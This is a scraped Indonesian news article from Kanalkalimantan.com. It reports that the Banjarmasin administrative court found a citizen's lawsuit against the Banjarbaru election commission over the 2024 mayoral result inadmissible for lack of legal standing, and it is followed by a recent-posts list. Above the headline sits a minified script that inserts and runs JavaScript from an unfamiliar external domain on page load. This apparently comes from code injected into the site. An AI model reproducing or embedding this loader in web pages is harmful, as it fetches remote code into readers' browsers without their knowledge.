(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

PTUN Banjarmasin Tolak Gugatan Atas KPU Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Kota Banjarbaru memenuhi panggilan gugatan di Pengadilan Tata Usaha Negara (PTUN) Banjarmasin terkait sengketa penetapan hasil Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru 2024, Selasa (24/12/2024) siang.

Laporan gugatan didaftarkan pada 9 Desember 2024 lalu, dengan penggugat bernama  Muhammad Supian Noor SH dan tergugat adalah KPU Kota Banjarbaru.

Ketua KPU Banjarbaru Dahtiar nampak datang bersama jajaran komisioner lain seperti Hereyanto dan Resty Fatma Sari didampingi kuasa hukum.

Baca juga: Taman Van der Pijl Dibuka Setelah Pergantian Tahun

Usai memasuki ruang sidang, sidang dengan nomor perkara 9/G/2024/PT.TUN.BJM yang diagendakan Selasa (24/12/2024) siang, kandas di tengah jalan, sebab gugatan ditolak oleh majelis hakim.

“Berdasarkan hasil sidang pemeriksaan pendahuluan dan kemudian dilanjutkan dengan majelis hakim yang menyatakan bahwa gugatan dari Supian Noor dinyatakan tidak dapat diterima atau NO atau Niet Ontvankelijk Verklaard,” ujar Agus Amri, kuasa hukum KPU Kota Banjarbaru.

Kuasa hukum KPU Banjarbaru menjelaskan, dari putusan hakim itu diambil dengan pertimbangan bahwa penggugat tidak memiki kedudukan hukum atau legal standing.

Baca juga: Dukung Program Ketahanan Pangan, Kapolda Kalsel Tinjau Kesiapan Lahan 120 Hektare di Kabupaten Banjar

“Karena yang bersangkutan atau penggugat bukan merupakan pasangan calon yang dirugikan secara langsung akibat dari diskualifikasi tersebut,” jelas dia.

Menurut kuasa hukum, putusan majelis hakim PTUN Banjarmasin ini sifatnya sudah final berdasarkan Undang-Undang Pemilu dan Pilkada sehingga tidak ada upaya hukum atas keputusan itu.

“Karena sudah final, maka keputusan hakim kita apresiasi yang memang sudah sama-sama kita dengarkan tadi. Pada intinya KPU Banjarbaru menghormati proses hukum yang sedang berjalan dan tentu kita sama-sama bertanggung jawab untuk memastikan stabilitas dan kondusifitas Kota Banjarbaru,” jelasnya.

Baca juga: Ini Catatan Akhir Tahun Kejari Banjarmasin Tangani Perkara Sepanjang 2024

Sementara itu, penggugat Muhammad Supian Noor SH mengungkapkan kekecewaan terhadap putusan yang disampaikan majelis hakim hari ini.

“Kita sebagai warga Banjarbaru hanya ingin memperjuangkan hak saja seperti halnya saya lakukan di PTUN,” ujar Muhammad Supian Noor.

PTUN Banjarmasin, katanya, menganggap warga Kota Banjarbaru tidak memiliki hak atau tidak memiliki kepentingan untuk menggugat di PTUN.

Baca juga: Pemkab Lamandau Terima Penghargaan Anugerah Predikat Penilaian Kepatuhan Penyelenggaraan Pelayanan Publik

Majelis hakim beranggapan yang memiliki hak kepentingan untuk menggugat hanyalah pasangan calon yang bersangkutan saja.

“Ini yang menjadi kekecewaan kita, padahal ada dasar hukum yang mengatur bahwa kita sebagai warga negara memiliki hak pilih, ada hak pilih kita yang tidak diindahkan dalam kontistusional kita,” tandas dia. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

9 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

11 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

11 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

16 jam ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

17 jam ago

Cek Kondisi Kolam Renang Idaman Terkini, Ini Respon Komisi III DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More

1 hari ago

This website uses cookies.